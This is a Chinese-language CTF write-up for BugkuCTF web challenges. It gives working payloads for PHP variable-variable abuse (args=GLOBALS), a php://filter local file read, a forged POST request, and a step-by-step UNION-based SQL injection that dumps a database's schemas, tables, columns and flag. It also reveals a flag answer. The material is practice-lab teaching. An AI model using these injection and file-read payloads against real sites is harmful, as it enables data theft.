BugkuCTF解题报告---WEB
CTF解題報告
- Web類型解題思路
- WEB3
- 域名解析
- 你必須讓他停下
- 變量1
- web5
- flag在index里
- 點擊一百萬次
- 成績查詢
Web類型解題思路
WEB3
KEY{J2sa42ahJK-HS11III}
像&#+十進制數(shù)這種類型的編碼是HTML的轉(zhuǎn)移字符。
域名解析
題目:聽說把 flag.bugku.com 解析到120.24.86.145 就能拿到flag。
修改C:\Windows\System32\drivers\etc\hosts文件
你必須讓他停下
不知道我的做法對不對。我是用console控制到設(shè)置JavaScript斷點來讓他停止!
變量1
題目代碼如下:
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die("args error!");}eval("var_dump($$args);"); } ?>在解題之前,我們先插入一個知識點:
<?php $a = 'aa'; $aa = 'bb'; $b = $$a;//這里做了一步,$b = $($a)=$(aa)=$aa echo $b; ?> 輸出結(jié)果: >>>bb于是,這題思路就是將$args這個的數(shù)值變?yōu)橐粋€變量!可以看出只要將eval("var_dump($$args);");這句話被執(zhí)行,就可以得到我們想要的結(jié)果。
顯然,GLOBALS存儲所有變量的鍵/值,所以args=GLOBALS。
web5
題目:
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flag在index里
這題,有點難!
第一步將參數(shù)file的值設(shè)為php://filter/read/convert.base64-encode/resource=index.php,求大神說明一下!
第二步,由第一步獲取到了一堆由base64編碼后的字符。將這些字符解碼后將獲取到一段源代碼!
點擊一百萬次
這題要注意,get和post的請求包頭部有些不一樣!
GET
POST
POST /test/ HTTP/1.1 Host: 120.24.86.145:9001 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14clicks=1000000成績查詢
SQL注入題!簡單題!
| UNION | 將多個查詢連接起來形成一張表 |
| group_concat(field) | 將每條數(shù)據(jù)的某幾個字段連接成一條字符串 |
| information_schema.schemata | 存儲所有schemata的各個屬性的表 |
| information_schema.tables | 存儲所有table的表,以及chemata的所有屬性 |
| information_schema.columns | 存儲所有field名字的表,以及table的所有屬性和chemata的所有屬性 |
第一步:暴庫
id=-1’ union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
第二步:爆表
id=-1’ union select 1,2,3,table_name from information_schema.tables where table_schema=0x736b6374665f666c6167#
第三步:爆字段
id=-1’ union select 1,2,3,column_name from information_schema.columns where table_name=0x666c3467#
第四步:爆內(nèi)容
id=-1’ union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#
這題頭疼,不好做!!!!
總結(jié)
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